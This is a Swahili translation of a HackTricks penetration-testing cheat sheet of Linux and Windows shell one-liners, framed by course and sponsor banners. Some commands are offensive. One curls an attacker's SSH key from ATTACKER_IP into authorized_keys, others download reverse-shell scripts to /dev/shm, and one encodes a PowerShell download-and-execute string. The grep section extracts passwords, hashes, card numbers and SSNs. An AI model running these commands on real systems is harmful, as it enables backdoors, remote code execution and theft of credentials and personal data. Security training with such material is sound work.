# Amri za Kufaa za Linux
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia** mchakato wa kiotomatiki ulioendeshwa na zana za jamii **zenye maendeleo zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% hint style="success" %} Jifunze & jifanye mazoezi ya Udukuzi wa AWS:[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Jifunze & jifanye mazoezi ya Udukuzi wa GCP: [**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Bash ya Kawaida ```bash #Exfiltration using Base64 base64 -w 0 file #Get HexDump without new lines xxd -p boot12.bin | tr -d '\n' #Add public key to authorized keys curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys #Echo without new line and Hex echo -n -e #Count wc -l #Lines wc -c #Chars #Sort sort -nr #Sort by number and then reverse cat file | sort | uniq #Sort and delete duplicates #Replace in file sed -i 's/OLD/NEW/g' path/file #Replace string inside a file #Download in RAM wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py #Files used by network processes lsof #Open files belonging to any process lsof -p 3 #Open files used by the process lsof -i #Files used by networks processes lsof -i 4 #Files used by network IPv4 processes lsof -i 6 #Files used by network IPv6 processes lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 lsof +D /lib #Processes using files inside the indicated dir lsof -i :80 #Files uses by networks processes fuser -nv tcp 80 #Decompress tar -xvzf /path/to/yourfile.tgz tar -xvjf /path/to/yourfile.tbz bzip2 -d /path/to/yourfile.bz2 tar jxf file.tar.bz2 gunzip /path/to/yourfile.gz unzip file.zip 7z -x file.7z sudo apt-get install xz-utils; unxz file.xz #Add new user useradd -p 'openssl passwd -1 ' hacker #Clipboard xclip -sel c < cat file.txt #HTTP servers python -m SimpleHTTPServer 80 python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" php -S $ip:80 #Curl #json data curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint #Auth via JWT curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint #Send Email sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content #DD copy hex bin file without first X (28) bytes dd if=file.bin bs=28 skip=1 of=blob #Mount .vhd files (virtual hard drive) sudo apt-get install libguestfs-tools guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd # ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys ssh-keyscan 10.10.10.101 # Openssl openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server openssl x509 -in ca.cert.pem -text #Read certificate openssl genrsa -out newuser.key 2048 #Create new RSA2048 key openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) # If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 # Decrypt ssh key openssl rsa -in key.ssh.enc -out key.ssh #Decrypt openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz #Count number of instructions executed by a program, need a host based linux (not working in VM) perf stat -x, -e instructions:u "ls" #Find trick for HTB, find files from 2018-12-12 to 2018-12-14 find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null #Reconfigure timezone sudo dpkg-reconfigure tzdata #Search from which package is a binary apt-file search /usr/bin/file #Needed: apt-get install apt-file #Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw #Set not removable bit sudo chattr +i file.txt sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ```
\ Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kutumia** mchakato wa kiotomatiki ulioendeshwa na zana za **jamii** za **juu kabisa** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Bash kwa Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 #Exe compression upx -9 nc.exe #Exe2bat wine exe2bat.exe nc.exe nc.txt #Compile Windows python exploit to exe pip install pyinstaller wget -O exploit.py http://www.exploit-db.com/download/31853 python pyinstaller.py --onefile exploit.py #Compile for windows #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps ## Greps Greps ni zana yenye nguvu ya kutafuta maandishi ndani ya faili au matokeo ya amri nyingine. Inaweza kutumika kwa kuchuja matokeo kulingana na maneno muhimu au mifumo ya maneno. Amri ya msingi ya grep ni: ```bash grep "maneno_muhiu" jina_la_faili ``` ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt #Extract valid IP addresses grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt #Extract passwords grep -i "pwd\|passw" file.txt #Extract users grep -i "user\|invalid\|authentication\|login" file.txt # Extract hashes #Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt #Extract valid MySQL-Old hashes grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt #Extract blowfish hashes grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt #Extract Joomla hashes egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt #Extract VBulletin hashes egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt #Extraxt phpBB3-MD5 egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt #Extract Wordpress-MD5 egrep -o '$P$S{31}' *.txt > wordpress-md5.txt #Extract Drupal 7 egrep -o '$S$S{52}' *.txt > drupal-7.txt #Extract old Unix-md5 egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt #Extract md5-apr1 egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt #Extract sha512crypt, SHA512(Unix) egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt #Extract e-mails from text files grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt #Extract HTTP URLs from text files grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt #For extracting HTTPS, FTP and other URL format use grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt #Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" #Extract Floating point numbers grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt # Extract credit card data #Visa grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt #MasterCard grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt #American Express grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt #Diners Club grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt #Discover grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt #JCB grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt #AMEX grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt # Extract IDs #Extract Social Security Number (SSN) grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt #Extract Indiana Driver License Number grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt #Extract US Passport Cards grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt #Extract US Passport Number grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt #Extract US Phone Numberss grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` ## Tafuta ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null # Find SGID set files. find / -perm /g=s -ls 2>/dev/null # Found Readable directory and sort by time. (depth = 4) find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r # Found Writable directory and sort by time. (depth = 10) find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r # Or Found Own by Current User and sort by time. (depth = 10) find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r # Or Found Own by Current Group ID and Sort by time. (depth = 10) find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r # Found Newer files and sort by time. (depth = 5) find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less # Found Newer files only and sort by time. (depth = 5) find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` ## Msaada wa Kutafuta kwa Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` ## Bash ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables ```bash #Delete curent rules and chains iptables --flush iptables --delete-chain #allow loopback iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT #drop ICMP iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP iptables -A OUTPUT -p icmp -j DROP #allow established connections iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT #allow ssh, http, https, dns iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT #default policies iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` {% hint style="success" %} Jifunze na zoea AWS Hacking:[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Jifunze na zoea GCP Hacking: [**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)! * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
\ Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia** kiotomatiki mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}